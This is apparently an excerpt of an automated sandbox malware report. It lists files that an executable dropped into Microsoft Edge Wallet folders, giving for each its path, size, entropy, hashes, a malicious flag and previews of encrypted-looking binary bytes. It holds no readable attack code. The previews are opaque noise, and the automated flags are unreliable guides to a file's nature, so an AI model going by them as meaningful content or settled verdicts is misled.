SHA-256:	8EC93982D6B46CED47E729D57407EC5926BD122541C43C7F1E09F9F4B9DAF5DB
SHA-512:	194D6B68C7684ADA753E7430DC3F25E6DA63F721EF47B33E1694A06E8D544AAF59CA47F3377B187814864BFF722CCB6B06B604DB5F5157C0E54B47FA8D160441
Malicious:	false
Preview:	!func'.C........"..n.fB..2...(B....5........X.2/.;....Q3..p./.T..H...T/r....2>...V.i..7.7t.7...h9.../.....X".N"..9[ZW.b..(!.Am..(.2..)......1.7..<..K..bS.#.I0....WU.qM..Q.j?.....>..N.......q.......~.w.?..Nt..V.v'..).h..V..e..Gw....1.....y....Q....g...%.z.<=pQ.....[...IA.`c.z.Dkz..1...\.._......Mn.X...7")+..........^.%b..K..z....Y.Cm.?.R.([..p.......9..x....Z=/-.'?...;.O.)~...>.J..NB.=.........RI./T2U.FaN.....\|lF...=,)/p.&!6....B6..`L}...%0.<8Y.7k..(....^N~ 4dSq.C..9.$ZKI.cK7.....Y.z....6.B[.q...l~...N.~Rzu?...H..rmJ.&....]....D...S$.DiJ.7.Wv..[..*...z.o.?.,...r.i....t....l..>@....O...}:x.).H.gQ.e...)}...r..... dX.;....X;.........~>..SGn:......Kh.....Y.M.".?.`.F..V.8,....i..n. .:t..._2.........pPv8-.`.......a.....4B.D.%0^.......B.I....WB..L...=..W..~.......?(R^_..S..h? .l..X...q.>....}.!<H3P....^.....d.,.s..._...XsM4.........../+...`..F.......~...+...17...H.G..W`.}.y.2..7.....ct...6...'...V..LFZ.d...F..;...S.....&#...V........x....}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\hub-signature.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1309
Entropy (8bit):	7.848731821957226
Encrypted:	false
SSDEEP:	24:VhxzV/PTa2xSpD9wvmtnHXGFSY2SGoqJxvLfjFlEIBFRYJsbD:VhdVHxLOtU2FJfLf/ECrYJmD
MD5:	FFB9DC12823DC1CAEFB929E3E4BBE86C
SHA1:	588FD517195352A70B1A2E34024FEB0CDA46595F
SHA-256:	10AA81B7CA79440322A15AE16267A613BA6E7D1B01D99E096033F25C56DC2526
SHA-512:	FEDFDB6CED519A057A4B611F5468290777F3B6515966BEA27DDADA42AF0CE6CA6E7571F10B43931A94DC4F3DDD252C447897490E38BCA26FD0DC2ED6902DC958
Malicious:	false
Preview:	eyJhcH..?4.b!..(.9u..&.j..!....6x.....t.......u...r.....d.../.)f1Jd].........>4..(......#/.K..C..tv+..mN8f.../.l...K.(V.....f.........]\|v.l.Z..b....)...I.7U\"...jvb. ....A.U.Xz.8s.......e...X.X5SO.;#..uk..>1.~,.......}.........w}.L../D.3.l!.W.LTz....b.....h.42).h...9.C.g........H.!.8..TPi.-vT..%.+..=..K..3...k...l..bn.....y].....qBW\|@K...p....Z^.bH.C].Nn..?s.B....b.>.r:tW^.&V/.GJ9......V...5.P..........11.<...g.........#...W.${......X....a...Q. -<`.......v.Q....\.^...Z.?..f.v2..5.^...1..$;_.\|)v..s.`4...^w..<......E..:.U&.V..lg............3-..J.p...p...e.&..Y\|q...nY........U...j..G......{.....>(u.r.kY5H>....5.b.Y..t.b.z...v..8..#..f..k...w7.[.)..`..`..:o....U!..`...=p-.d.tO..(.0DDDo....f.._G...ge....@..H.7.4..8.. ^l.........{..2..O5/.t...&A..'..........r..IcV].Z\|."..RD.[Y.a$..8.P....n8dY<..#>..o.v..^.@.....=..?._..,.$....~.+.v...W..1..c:.....e.H.>ay...Xm...s..A..F9Hc....1..:$iU...':}B....L..H..(..~..).r........j.7......:..d.....r..a......[.0c.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\ar\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	18629
Entropy (8bit):	7.990751324121199
Encrypted:	true
SSDEEP:	384:nLhIEYJrkTfhdCU1XJaCoJAFquhLjSp7JHAd9b/YA9Qlnc2bvP:niFZkhQCrUKLjSpBUFYA9QZbH
MD5:	C2F6FDA7781CC65EAE815EF83507829B
SHA1:	49448173AE4B151C1B4E1EBC4CE78DEF2D433BB8
SHA-256:	64F906077045151D2B0ACD59B9318798750ACCF51BFC5BBB664E595C270AD48E
SHA-512:	0C902267130C0390E9AAE1048FFDFD6A56D9F5AA4C4C465D461D4BA0297877521B000AC12DBD5477EF3D0BC45E251E22D2A096FBB4DD39B20EE2ADD3A07E7574
Malicious:	true
Preview:	{. "....L.Y..1.O...EC.....av..g.3....:.........C.U...............,.../V.....y'.\.(...\.J.....6...<..V.R..y"......i.Z....u..s.4.[fa2G...P.^...K.v.[.._.....Z..MJ......^S?.l......y....\|..!>a..t....-..2...7c..L..........U}.Q....X.....-..#.~.../..l.t.~^.....>.Q...(..O.y\..#{_[Gt.A.[....h.4..."..p.H/..W..bj.C1....Ms...J.J..br:.....W..\|.{~L.....Y.id)L....;.)........v..p.....B./...z{.m.{X.$..Y+.u~_.....:D..~....[...".HD....@....P.tE.X.7...d......K\|j.4......s........J....a]O.C.V.b....Y!..b...M-.U`..\.........D.j.O..t.;8O.QB.Bj%e.pF.A..P....c....B.l.]<.\....-..?g...e9...9.....-.[.q.2B>...u..(..o.LD...R..`G...kp....~../o.V....n..%.>'..a..}.P.......{_....8...H.."..7..hh..y.\W=.t.;.4.U..(..)....J......z............f.mh.=...D..0-.=..=../B..;.L...z.n..F....W...y...T..../.~.SB^0"M........na.{x....b;..\|..h.L..'..b&..e.K...r@l.~s..T(P.V.\|dh"......+E......dAG..Z{g...j...J..5G.U......?..{..}.]..@g.n....'.H=2.D. o.pG#.p.1&.j.Y..H..."Z.@....%...6...j

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\de\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	15335
Entropy (8bit):	7.9892266026459815
Encrypted:	false
SSDEEP:	384:gHmV8SECF61697hDePTCe1vvOXiEViv7fh9g5:NwCFi67hKue1UiSi99e
MD5:	3A38F9A9439BA576E1A61B80E4367AD5
SHA1:	1847BC1C5594EDF9B445B930B292964157BFCD33
SHA-256:	628C9E2AA2FB28AA5CBFA65E8674D85E051AE798F6825008E31EB5535DB8C04A
SHA-512:	021699F14B06AEFC93CC98C17AD6849DC3DD0298F283167650C7AF017BD6F0145DABE84D759B95B2934CC82639C9EB5E391870DD6AC4FDA11BEE6E13CBCDB611
Malicious:	false
Preview:	{. "YTc....\|)W....{o..7..f.{..S..JF....^t.-..u.....tTS..I[.~............... ...cM=..O.....#s%......T....A..q..tu...R....B....-....a.p9]..K.;.P@.sFo.v..._p..k.z...fHZ.=)...Y$;.O.@`......\|..tByRK'..-q(..IU...f!6..... .....Dr...M...~.....@.q.T...^...R.)p..m6y].iZ.L.L.<nj...8...).j..?Z.OT'..Ld:X.e..d..v..3x...p...u........C....<..R....S<..H....+..}.(....5W..'@....d.e.3P.o.....).x.G1\|.U.D.C.......r.;Y1c...oA.;...\|........#..Jsf.N.t..~{.V..O..)..3....-.......=2#V9..6.y..9....N.b..1^..wV.H...`.pT..n.h..b.1.........KB...>.d%......-.i.^f..w}EdD.I.A.x.....E.6j.{2:..LP}..~]..u...u..t.C......2.....N..XV40.....u}..49W..uD...yV'(..V.7.l.*.R.....B....k.....d...p..3...O.1y../...G.\|.!...F4..._`..j Y@.P...... !.TR...L&88..@.{...;.>@..n3Q....Cm.N<B.O...cak`\8...#.o....o.o..M]g.$0......Q.!.j..p.h..Y.N..2].v.......l.dWP"~.a.}..A/....V`.,...[..n....w...%q...........).:..r...m..u......Iv.....P.,6#. ...E.yl.5..)L0....{.$d_....C..Yi+..........w.....\|.W]....F

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\en-GB\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	13524
Entropy (8bit):	7.985088286869641
Encrypted:	false
SSDEEP:	384:DRvVi/UdLoCLX+gM2oTKpXDe8BZpkYIoqhfzJZue7MEsmDxZz:D/rugM2pXDe8LpwoSf7gEsmDT
MD5:	FE93B5E583845BF5EDEDDA8134595F85
SHA1:	DB8DF4088DBA732A847481BC0D1E121DA7620C24
SHA-256:	E275AB3E9B5237C148850813B28F51A4F7985E19E00419E0F3CA9C7A1C3AA9E9
SHA-512:	CBD20E553BD60525822103FE22574204BF0235C84073395DEB9491AC470BB86D4BC76CB7FED3BEB61D326F7FC97CFF78436C9BAF79018AB516CC6B58D840B0DE
Malicious:	false
Preview:	{. "........Y.z..... .r.......\|>y.g.j.-.i]...@.C.......X_.pj..f..$E-.d...}.....p.:x..W0o;kX.E.E.1...HO...M6.D..>...M.YU..>.XB2d.%?v.Z.......B....r..%.Rf.vNn2..Q).!^.s.$.Q.RU.d.2.vt.P1.5.)?....S..B.5...pS.$.<_Z..5Kb.`.........E.....$W.W.....d.O.....-`.G-$`..t.5!.hU..ei..8.5....'os.Gt.>...)...q..1F... q....=.....6..6..........q......T..........qT.pQ.t.B.D.5A...@/}-..1.e.B.F........[.i.....mDH.}..a.l.....b.].4.B......E..d.(.t.h...b.>..].".......\|5...F._..8..i...z.....sE.4........ .@G.e.q..DK.,Q.....xg.j....{.M...........8.71X...T..mlq3a....X..~B.V.r.&:.=p....z..V..k.o.......e..8y.C3....3...~....m........y1..h...U..S.[W....i.2...._.....R....?8RE(...VRa....T.CE....O.X...Ja.{........W...:I6..:.p.q.m0.....d.P....,.g..V.......N..tX.=8:HW.?d.'...C....Fwj....RJ..o..W}..^.._.5.*9...'.O.4......01..Tc..u..65cZ..l......"/.....^._.....#^..%..qL......'..`..s...IH.4B.D_x1j...?yG.{=}....X..>W1+......... .d.....)....}...`.E.d,.'J......yK..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\es\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	14923
Entropy (8bit):	7.987893910232131
Encrypted:	false
SSDEEP:	384:ChBnAVQMOYux9nIwubpoOE86j5KrKbrp+s2fDgF:ChBnAZtux9li2OE888u+s2fDgF
MD5:	D5EC01E5697EA7F53BC35E7E18EB2DB3
SHA1:	7E9AB23FDE9AC85094B5B1E47A470A077367F119
SHA-256:	6D43576828521635C3C99803ACFF9FF8ECDB8B4C54FCCF617B30E568628578B3
SHA-512:	330D04310149AB4A6F3BEA9029AACFE7B13F9A7B1B1DBC3415CF5FE49D8689301A84B8042F2E2EAEAB44165280B8BD498C9460985D52C100CA67555430E5CCBE
Malicious:	false
Preview:	{. ".../^...b.'.B.[....s.?..\.......u.\.y.gZ.;...v.{..A...h....p.q..~.51.M.@8+....-.h.s._.J.G..r..&...._.`b....R'3......bS.?3.&.J{.........l.1.B..lf.q.b\.Qo.F.w.X0.lo.O.sX....n.'3?>.PLY.g.#ec.N...U..&...~_...V...c.'.\...G.B..z9G.L.._.!.....o ..Ru.0i.....v..5}.R.i....).6.M..r.G.]..}%...Z%.v..E..gG......?.Y....\3md../..N...R(...-b>lb.....K....X\|..1>1.V....x..hb....w....7..".>....]..)........i...W....V"..Qq._X]"...=o.u.9#....+(8...U.V.......%.......G...xBM..%ac.....7.`^.=...).q......2.<...t..a........yF?........a...+<>.Hf.1....6...gx.i...k...j.m:..a...7........d../n.._N5&R...F5...%K.]..8......b.T......e...N)..'gB....e.Ck.n.-..M...^Mj...,<...X.wm......(hZ...$6....M...E.....#.?...d.........Dh%..m...r.P.....7..]SeJ[z..]...E.;......t....D".%......3v8m\...Y..D6..=...}...P.#..~.L... u^.#[ u]..uo..&.........D.....0r9...........U...#//.....lXp>1.1G.X.<......d....P..Uf.wkR...w...k..7...lh..F...Y....,A.5<z......x..I.1Kb.A..<?m..R....,f....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\fr-CA\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	15903
Entropy (8bit):	7.987973393268762
Encrypted:	false
SSDEEP:	384:fGdg8O0glc5Jj3Uoo1KynRH73VaoBGG2JABHH:eddOplc7Uoo8yRH7lPtqAF
MD5:	22F68A1F32256F151A75AA0E407F2F6C
SHA1:	EEF545BB1D26EF3D1D99CF88524EEEA64DC3F06C
SHA-256:	410D5C9ED1E4F676962E318C70E946A3E3A051542C214209BE5E4D11A9207818
SHA-512:	671A513F59521113537ABA8086A7C0F7DDE125680FBF2EAEE6211443E99A6ACC522185EF9FFD446D7BCD7D2DDAC39516505C3CEBCE167C4597906D3632E7B5A7
Malicious:	false
Preview:	{. ".......Ru...;......;...'..W8.....d.!X...i.4/.q.=.:.x4K.....7....<..tM?2r..L.....MT.j?........(D) ..l..,8....\|z.....rU............#\....:Y..).BL-...d.....?z..D9.a).^...f...T#i..'.B...].a.d..bp.u..n..7.8.n...k.X....J#U.Vw.&.C14GN3."pq...!.-p][\|.y`..G{.8/.3K@J.bA..oPH.~_!...7.../.K9d..<}.d......F6.......u@3.h...2.......e.Dv.......$..r...W....j..F6.+..M...c<....U.59z...b..+..x..Qj....&..6.A+^2$....5..u..b.1....l./T..z..b..1"..b-..5.,........u...d.7"..F..<.....biw..w..(...{>q...u.;^.b..Ht~..6FCX..h....2..,.$..Xp.ZS....1.[.\p..H.....%..Q!ceN)XD8../cH.Ku.k_JmS`U.o@:z4.......v.O.1...Qw..j.h.=X.........M...\.....V..cC.....k......v.^.F[Zb.....Go.g3..6E......Y.w1.HYfL..3...5....GO.^.]nl?!.;.7'%O.fl.9ZWc.2...M...>.,."r...XB....PI.Ia.'....uW.A#...6^.N....ip.Za-.^.............^.{..._...18....c..I....Vn..z.7...E\|.I.%.YU.C.F.c....Kl.8.h,.......c:^$Tc50..,...xL.E...Y......M..d..ik.......n...b.S./.$.Ej.!...g..yb..........V....Pg".....4.T.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\fr\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	15895
Entropy (8bit):	7.988520571456943
Encrypted:	false
SSDEEP:	384:nM2Ll6uDRVze5sjYLWdf2tw6YMyv9yIv3Assl:R9DFdfM+oIoR
MD5:	FE7DDA92EF99CF3821D88DB058322182
SHA1:	914AB1DDE1E0D031A1BD6505B4BEE038790F508D
SHA-256:	241D36BF99D66B70BA26A0F1271F90A04E9302688F8204DADF88C920FA0FD690
SHA-512:	915F640F11B2BBD0B8516EAA868F6043267BB91345BF6F30D963BE8C3051BC62E29899863FDDC5F742CBEF4DD983B69493AAF36AD9C150F7CD25AD04497F586D
Malicious:	false
Preview:	{. "0.y_........o^!..~..-........m.e....l.&e..5..'...Jn2.C...x....1..8.~........P\|p.6m..7..S^\.A."....0...bV..u.Z.?<>...J.y....f...)B.j.0(!pM.<....76.....t\|.\:%..v\....;yF...KE8".dy..:.?..)...u..#........-....I.kUI..'...RK.:(..Za...w...C.,..'.IVKM..B...i<~.......V.Z.8....u.bB..".~...=.x.....!..u...$...Z.(..&..{"...E..P..c...M'V...3.g?.F.%C.N?..... t.8......UOg$.Y:.;.w...~.j.dHDS.MX.)..KI......Ji;.L(....&....q....0.r/....qB............\........L.b...[ O.?4....@...Ya]0.wW.a....AF.~-k{c...T..^r...........{].8..........h=.e.b.Pa...\..........}).0...}..=.\|.".......a....0~$...oUu.....#.\|..........?.=kZ...jm..x..j/n&B..t....Yj......)S..\..mZ......D.\.<@".0yJ....?.B(_p=.H...3...&...=3!... ....]."Q1,Fc.m.B..@..*.X....[..+.\|Em(.E2.5..m.SHw..}.oS..T..S.U,.t,..ZQp...Dm=...Jt.d...X.ph/..o.G.S....W.s.u...6Il...@....-.!?.Y%.o#..6c_.a.-.6...K....:...,..........".c!4.B.v9.j}.~.Y49.d...\X..6.J....O.N...v}i..+...pC.....(......._...6.".N+.Q,..O.?...l.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\id\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	14493
Entropy (8bit):	7.988272674426869
Encrypted:	false
SSDEEP:	384:U7ZIw4uitj6IiszznKg1aD3iZnbBo+3FYL:U7PyF6qvnKYBb3k
MD5:	9857C602FBE7BBC7139650BA911505C4
SHA1:	9D7AC0BDF2BD56A0E6A3753850A62FF1C1D67CC7
SHA-256:	C4BABDF61DD58BBB8152D4A7D8F993063BE54916FA98910851E0BFFA5C1DC87F
SHA-512:	DBDB75E0FC3191ACDA273C0392617BC79E60D0FE4BA1481DD6D25D33501F5FDCF3EC6B34F12141BD20E9686B3B628F635060722FE07DBEA6DA83C280F4C9ED58
Malicious:	false
Preview:	{. "]....p.y....r.....y..D~.H.)4.N.F....p2...u..m.r..P....BMJM.... W .^.;....h.X1....#vs.\|.@..7Y.#...TD.m`&.#Cli.0sD......p}<.o2.4...\|...YR....].......{X.s..,..kW...D.?..R..z..4/.5S..u.R....i..uE.).@#f..............?[...U.x....mM.._#.'..l.j..).^.M...\(..$ex..q.w.......fl.{m.xK.$..V9W.\(aY.r...3"A..CT;0.@t......T.-#..c....Y.!.~..3..u9o....%...@...u.:..xE.ZH.]..M.Q..j......."..G.c..S..K..d.P.......]...c..o".J..$........f..B.e./...>X9..#...:xR(...+8/.B...;...7...?..r{.Zg.Ix&D..O..5C....._...aZd..Hu.x;....I...........iW.aZ..u.....ZU./..S.v........e+..%.l"...!..}.H....x...A..TYV..=...o...........Xy.....Ue.!b..K..[."......dD(2........F...Nr$....r.....21{7.JY.9'.>t>.-.z.m4.......r.zS.Bt.D.;..':.3^..{.....bK$jJ.....D.UH(9t..C....s.+.]M....L.......yu...&..L.eh..}...E....6+.m..I.q+..!......>..W..x2.a/..mH.o..]b._.N..".bAG.4\|.n.....\|.......e..ao.....^...R.0..Y.X.J.S$.+.\.z].%.......;..*W.9.!.......E,.....+[..( pg".q@.j'.~.D.CD...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\it\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	14927
Entropy (8bit):	7.986527951998656
Encrypted:	false
SSDEEP:	384:2pXgyUPAU1bkeAoJZzD6Qb5+7A3p5vGdHEvioCisy:8gMpeAobzD35+7A3pWEvWif
MD5:	CB8EEF90AF40514BCBAE2873C0C07483
SHA1:	A61E04BE692C1EDFBB82729A1639D22F23B739EF
SHA-256:	FD074B62A70079E0F42AEFE5B833BE26DD0F1140F5C9E5C01EAAD3A60142F863
SHA-512:	432FE5135CF3B91B486339177A7DC5232C2E6013CF1F9CF0ABFC9CA73D3950639E08826BB8A35C31568E79B8A5B04B0F0AC9951AB24C956B584285AB52EC64CE
Malicious:	false
Preview:	{. ".R\n....ux..a..V{ow.%./.....Zg.S^\|....dUwd.JC..~.Z0x.J.gj...L..>.^5O...JC..<..$n.I\|.!"........\.\|]..q.........]...7. .x=..Y...AG.c..O..a.}...l...D....{...7.K.>c.@..l3B".../...C.a.5......J...f.B..........Pm...=.iT.......RAN.....FgH.j....#Y.d........".k.G.oo......t.....zW.yU....W...r..S;k{D..i.D..E.......+..CV6..b`.K.@.i..G....QS.$Z.. ....t..3.m..;..r....Y?k.\.=....6)..O...v...b2..$.........M...ZG>.9?...}"...?........`a..zr.o..z(.S...dTM.$....\..5L~#.@..g.r.0....t.i.....\|.Mv.....zbT...vU"\|.k.f?.rmOs ...e.c.vZCo...M.E.R......,Q<..t`..l...I..5...7[.tKQ..b".wXx...=.1.{<t.....`H.......(,.r..)....[mY.q.i.........{.:...v.T.$a.0.x.J.b.b.?....\|.&...l..\|..x.......06.%3..Q.;~TjmK..#_O...T$.lK`..=..%....A.._..(.8.0.o...a.4\|....../....#6\|ss.]p.-..(..2h.5...B.>..2.b.'..E.7....G.y...&r...?.@KNPW......?........T.-..L#f..qO.j{.F....H.t..'\|..kU.....;[~}...#.V.BrO....xY..q..L2.S......yRHw^M..5.....bD f.....,y4.F..... ]2..!..+Cd...)0...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\ja\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	17211
Entropy (8bit):	7.987761854541066
Encrypted:	false
SSDEEP:	384:6a8qPb0CWgih67NtM8PV8rUXPc1x5bLYaKqxBWKQzrK6JHJKv:6jq9lNNV8rUXPcNAaKqxBfIKkkv
MD5:	0320B6A180B4FA0CAD34BF981E022714
SHA1:	3833D11BEAFEB383752772E4D43489470FC44BAA
SHA-256:	1D2019D0A33AB01C76F8238E81FAF5A006E068E89FB2BE77EA1F175EC9E67268
SHA-512:	77FDE33B4CF33EC31593D9880836CDDFDECA0BFBBE368CC8A0121A45100FDF172B5CE1BEBEDF201A45A60ACADFAA872BF3B90E5CCF00F4AE48B49F1656989CBE
Malicious:	false
Preview:	{. "R....O..K... ..,4.....B...D....3>..)."..J...!!!5...u.?.....k..H.\|...74MzJ7].....Ia.&....O.....C...+p.Mc.e{L#.5jp....5.$i..VV^.8.BD...@..+.....x.U&5..\|....:..\|E~..}....>.<4...?.g...?..ha.J'...)...h'hr..Dw1i9$....e.)....\f7}.oX.I..jv.y.....Xw....U..7.}.i.(..M!vh........M[S.[k.'..s'R......[../h..a.w.$....Sh...wl."../0Q.].=...C)...3.v...;n..<...%.....KU9dY.rR..D......'.Y:.7......HL5..\|QT.@5.r.......rA0...g...c..?.../.i._!f.s...b$1NE....s.n..,.k.rmN$...%..?.qwD.+I.!G..Lm.I...Z&.._..Bk....Tt..!....e..S...c.&...T?aQ...o..uO.....<..\.. ..&.U'...@.....R.k #.#..Y...~z..s...;.N\|...=...1%.)..f......Y.. .~Zx[k.......4...s.Y.......{.8....Y..(q<hG....Q..F.\..=;. T...7....C....>...G..3..I._.......I.....[[....SR..o.%.l...R.....ij7Y..@..# CoA...3..W.p5!#Cn}.c.........?.jn...xB..[H}\|...4....e..`Ob.....r....V.Yx%O........w\|.......G.XvP.@@....lTH...T.[$..h.,...(1...1)0....f.y.....t...#.....J...GO...W.JN$.:.g=.<.n.=0.....=.b.i.."......i......L.*..+.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\nl\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	14786
Entropy (8bit):	7.986017491744222
Encrypted:	false
SSDEEP:	384:QJRlj28fVxfGd6CrX4hA+YVA8Zon8YApRvYc1UGt7e:IHj2OvODX4hA+X8ZSIpFYc1Un
MD5:	CE377EA7680BF8710B521ABEBED734E7
SHA1:	09E1E691A785463E40065BFB0848C16A3E2D6059
SHA-256:	511C4B9F425DC5EEF22F7A9BC142B41BEEC4ADDDA1EE9AC26C8B0B1B5B7B5136
SHA-512:	3EB01C334C42EEB7654643E3879292053D2EF959F71C1D6EFA47E62A6EBF391287D68521CCE215B5E20B7704648EC4EBD7F42CF579DC5CC9DF4054F9B6FAFFEB
Malicious:	false
Preview:	{. "...o.*...z....CF=r4_..~...\|...A....A7m.QO.i^..I..!P"..$../o...A+......s..X....(!W...g....04...$.].,..C...g.P...x..p.iO5.\|+g)A1!..p$aw.=hI.Q.A....bxa..g.....6..'.Hq.z.r..3bl..p.s:d=j.k...~Z}'.f(........T.h....B...........1a.q>aa+Kkm.U.7.[i_........VV.B.OG..=..=.~....R..L..7PA..B.j.V....p%.M..<v.X..p>x...l..Q.ajMZ.\..9.K.{^.......^....'...t.1..]..1..p.vA..,!..\|.[.\|....b....~..M=.xy.....X..@.q....M.w].Q.V........K...{.../.T......?&.....,.OG}.<o..}..S..;..p/...}.;bz..0."g3.)..A.F\.i!...g-0?b\|..?...!...h...2e..P...Dd-.X5D.yE.(...N:7..%.....wc..2..K...4.aw...(T......J..%c..K.9".....D....TlZ^...[.Jp ....gV...l.U.PE..;,.....[...0<3..YFv...W....kt'..<8>.iEu)3..Z.).VzuG..(..x.8.l.V...E..A.......&.eP9.j...S......j..7qT.....A.pM+._...;.o.._m..................%~Zm....r../.(rt...w..&.x...f....Q.7[.....O~rnR..U`.,v+~.D.Q...o...C..y.4.f`....~.s.....\.......e..............[.....6j..7.$oW.nW).:..Y..o..dA.X^..7.G%...J.5F.#.I...l#.....@_....d. ...T

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\pt-BR\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	14769
Entropy (8bit):	7.987544373921106
Encrypted:	false
SSDEEP:	384:71XlxCCahviKvPphoDHyrh5sgXKETTFgcU:71X9aJiOphoi5sopTtU
MD5:	3580138C66A7E83DB10326C5A736B320
SHA1:	1BC403BB9165F5B94E75602FEA99D86EF3938B4D
SHA-256:	38A3527339309C1227C8B2C53F307DDE9E86E17D0E9A61813946D4D87F781CA0
SHA-512:	33257BC57DC14CFAC798E9C30413AB1A46481045984AD8BB00A94413E1A86A806697D64CAFEC2871A2A831A00567CD19279A79933DC75A034B7A9C98F5C8C7DA
Malicious:	false
Preview:	{. "...7.S..Eg(4.<U.../pB.r].w.....2.Uo.b..I&..5W.85....`.."i.?~D...J..e..t.A...2.Mcf.\|..C....`_.#.1'....OF.b..4?f..M.]....U.........nE].5.W.Yg...y=w..k-m.a.B.F....%q....Q.'^x8...7....7...m..$+.$.~.`..&...q{(/;(.../...8....4..1..%.;`....N.^$.N%....E^........v...Cq,F_...#.?......P.q..`.q$.,...(..\|E3}s....Q..!.)@.>.P=.^..F...U..'....:....H..n.....@!. ..8.;mpDs_.o.`.&E...CX.......,G...V.k...+.K..^..0W..^......~......2\|4.ZN0....A...HC+e..g...R.v.t...BNG.K.d?tXM&.m..Z.....Vd.".....bx..R...>..q'j...9.:.c..r](.bE.2...q=.R.Q....4s.z&v8>IiX.]...D...t..+..,.?.f/....Y.>..J...7O....s3...d.)A37.....I..C........p.s......O62.~.M(.y.a2wS..&.....%..9.u....<y...rJ. ..U%M..M.WV8l.R....1.Z2..6..9Dv0....R..../...vfE..o.....i....x......P1PO...$n...L.q..P.0.(,..R^......q.1.K6.!X.>....U..4..Ht..V.!...4..VTm,..g...'..)...u....z.?.;.({R"..&.8U.-.q....(.W....)...h1[hM.mU..u..al..8.8tu...\|...V..H....0..qm.'.....\|J.TP#V./.&tA...DVY.:1.......g.)..W....(.t[A..vz..:\|.r..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\pt-PT\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	14956
Entropy (8bit):	7.9866948997997955
Encrypted:	false
SSDEEP:	384:u0vLwFz8Pw2GmdLvl5rqYy1oKKmMpQbNmHvZ5pFZgio:u0DwF8vGGLvXcKpQbNmHvJFw
MD5:	04BCFC605B8B5CC5FC4486B59DCC71F1
SHA1:	1E643B17DBE3E8A96ADC8343A9374A482E4E4DB8
SHA-256:	35D72C974E6C9CD5DC117E50A5251C1E9B472207EA31797CBF62A4B7C430EE40
SHA-512:	F405CABB468033B4E8AC2ABE9892A473A6E0E25926FB6A3109152E883F60ABF4022EF32E5DAD5B0DBA73D676B13BC0F08D39EF43C2FD8A47319556DE08129890
Malicious:	false
Preview:	{. "^m.i.(.......f.Oo.cO..Ws._5{k..S.P..........2:9n..O..5>....C.....Q...........U}.lu..5....pxF....1}.Z+.VZ...t6o.....?\.q..v..Nm..'..gD..y..`...o...W..rI.....!...5...T.\..R".gu..y.eGa.s$.I..Bz...I\......g3R..o5.;pEv.6..F.+Y...CK...VI...&..X.k.2k.8rX...uyP..v-.X^...M.\l5.D..o..Z./<H..(.2..........2_..;p.>.S6}..D......c.......9Q..#.A]...NY.&.....b.Z..!......B&.1.....\.b .\|.cq.>D....c.......\|U.0i..j.xrB....Q..O....a...~Y.lD.dst>D:{-.t..O5....\i....^..,.u?..Q.D}....Q.N..d..RT.;.5...0P .......F.X....V....k..!..6...S,...M...8..og....!......yLFo....D.k....7........D[..`y.....}..c..I'..n.'G(...J.....1..g.9..;,.;....5..k..{.}-.b.....3......:......].+^.....Q.L.&$v.v...p#=.?...0A...E....p.e..3.(yl9W\|..(.N...c....w..~....+.E.2R..{..%J.wy_v..1..<..\..r..E:!.cr.X....R.b......7.>.93p.5p3.....Z..a..;...?.rMR..G.....-8..>....{J.\..(.<..$.Q..p.cV..n@.8.....8..(^..P.&..P...A..b..?.3....#..."@&.dv;...m.-.%V......$i...6R......:...#....)].....hj..9{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\ru\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	20815
Entropy (8bit):	7.988891613202733
Encrypted:	false
